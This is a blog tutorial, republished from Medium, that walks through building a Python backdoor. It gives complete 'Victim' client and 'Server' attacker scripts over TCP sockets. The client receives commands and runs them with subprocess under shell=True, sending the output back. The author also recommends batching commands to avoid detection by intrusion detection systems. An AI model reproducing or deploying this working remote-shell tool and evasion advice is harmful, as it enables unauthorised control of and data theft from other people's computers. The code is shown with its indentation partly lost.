Get Even More Visitors To Your Blog, Upgrade To A Business Listing >>

Making a Backdoor In Python

Backdoors are a typical way of accessing a computer's resources through the command line without any sort of authentication. This type of remote access is difficult to identify as these programs act as the program or other applications.

While going through the details of a backdoor, in this post, we will have a basic idea on server-client architecture alongside how a backdoor works. A basic one is nothing but a typical server-client communication except here, we want our commands to be executed on the victim machines.

In this post, we will learn what are the characteristics of a backdoor by writing a basic one in python

Server-Client Architecture

If you do not know socket programming, you might want to Google it as it can be a separate post. I am just putting the basic description of python sockets in the following.

The following diagram presents the stages of a TCP (connection-oriented) socket.

Server Socket Methods

MethodDescriptions.bind()binds address (hostname, port number pair) to sockets.listen()sets up and start TCP listeners.accept()passively accept TCP client connection, waiting until connection arrives

Client Socket Methods

MethodDescriptions.connect()initiates TCP server connection

Common Socket Methods

MethodDescriptions.recv()receives TCP messages.send()transmits TCP messages.close()closes socket

Client/Victim-side Script

Requirements

We need the following python modules to build our victim-side script. socket is used to provide the client-side methods we saw earlier. subprocess will be required to execute a command on the terminal. ast will only be used to convert a python list-string into a list.

import socket
import subprocess
import ast

Now, we will use python class to define victim-side methods. Point to be noted, you can simply use the socket functions without even creating a class. However, to make everything modular and to add further methods, I chose to design it as a class.

Initializer method

Now, let’s create a class named Victim and write an initializer method that takes the server IP address and server port as arguments.

class Victim:
def __init__(self, server_ip, server_port):
self.server_ip = server_ip
self.server_port = server_port

Connect to server

We need to launch a TCP connection and connect to the server. To do that, we need the following.

def connect_to_server(self):
print("####################################")
print("########## Client Program ##########")
print("####################################")
        self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print("Msg: Client Initiated...")
self.client.connect((self.server_ip, self.server_port))
print("Msg: Connection initiated...")

Interactions

There are two more methods:

  • Online Interaction: instantly execute any command and returns the standard output stdout
  • Offline Interaction: executes a list of commands and then returns all results all together to the attacker

Whether to use the online/offline command execution, is totally up to the attacker. Offline is better to avoid several interactions that increase the chance of getting detected by an Intrusion Detection System (IDS).

Let’s add those methods to our code as well. To be noted, subprocess.Popen() is the main method we use to run a command.

def online_interaction(self):
while True:
print("[+] Awaiting Shell Commands...")
user_command = self.client.recv(1024).decode()
# print("received command: $ ", user_command)
op = subprocess.Popen(user_command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
            print("[+] Sending Command Output...")
if output == b"" and output_error == b"":
self.client.send(b"client_msg: no visible output")
else:
self.client.send(output + output_error)
def offline_interaction(self):
print("[+] Awaiting Shell Command List...")
rec_user_command_list = self.client.recv(1024).decode()
user_command_list = ast.literal_eval(rec_user_command_list)
        final_output = ""
for command in user_command_list:
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
final_output += command + "\n" + str(output) + "\n" + str(output_error) + "\n\n"
self.client.send(final_output.encode())

Main Program

Now, let’s create an object of the Victim class, connect to the server by calling the connect_to_server() method, and choose whether to use online or offline method. Use your local IP address instead of the loopback one if you run the server.py and client.py indifferent machines.

if __name__ == '__main__':
choice = "online" # "offline"
victim = Victim('127.0.0.1', 4000)
victim.connect_to_server()
    if choice == "online":
victim.online_interaction()
else:
victim.offline_interaction()

Server/Attacker-side Script

Similarly, for the server side, we create a class. and add the following methods.

The initializer method requires ip address and port.

class Server:
def __init__(self, host_ip, host_port):
self.host_ip = host_ip
self.host_port = host_port

Start the server and listen to the victim to connect with, and then accept the connection.

def start_conn(self):
print("####################################")
print("######### Server Program #########")
print("####################################")
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((self.host_ip,self.host_port))
        print("Msg: Server Initiated...")
print("Msg: Listening to the Client")
        server.listen(1)
self.client, self.client_addr = server.accept()
        print("Msg: Received Connection from", self.client_addr)

The online_interaction takes a command as an input, sends the command to the client, and shows the output result afterward followed by taking another command as input again.

def online_interaction(self):
while True:
interface = '[+] '+ str(self.client_addr[0]) + " :sh$ "
command = input(interface)
print(command)
self.client.send(command.encode())
recv_data = self.client.recv(1024).decode()
if recv_data == b"":
continue
print("\n", recv_data, "\n")

To reduce the interaction, the offline_interaction the method takes a list of commands as input, sends it to the client, and then shows the received output to the attacker.

def offline_interaction(self,list_of_commands):
self.client.send(str(list_of_commands).encode())
recv_data = self.client.recv(1024).decode()
print("Received output data from Client\n\n")
print(recv_data)

and finally, run the main program by creating an object of the class Server, start connection by calling the method start_conn(), and choose to establish online or offline interaction with the client.

if __name__ == '__main__':
server = Server('127.0.0.1', 4000)
server.start_conn()
server.online_interaction()
# server.offline_interaction(["ls", "pwd"])

Here is the code repository for this article: https://github.com/KoderKumar/backdoor

Thank you for reading my article

And if you like it give me a follow.

My Socials:-

Instagram:https://www.instagram.com/coder_kumar/

Github:https://github.com/KoderKumar

If this post was helpful, please click the clap 👏 button below a few times to show your support for the author 👇

🚀Developers: Learn and grow by keeping up with what matters, JOIN FAUN.


Making a Backdoor In Python was originally published in FAUN Publication on Medium, where people are continuing the conversation by highlighting and responding to this story.

Share the post

Making a Backdoor In Python

×

Subscribe to Top Digital Transformation Strategies For Business Development: How To Effectively Grow Your Business In The Digital Age

Get updates delivered right to your inbox!

Thank you for your subscription

×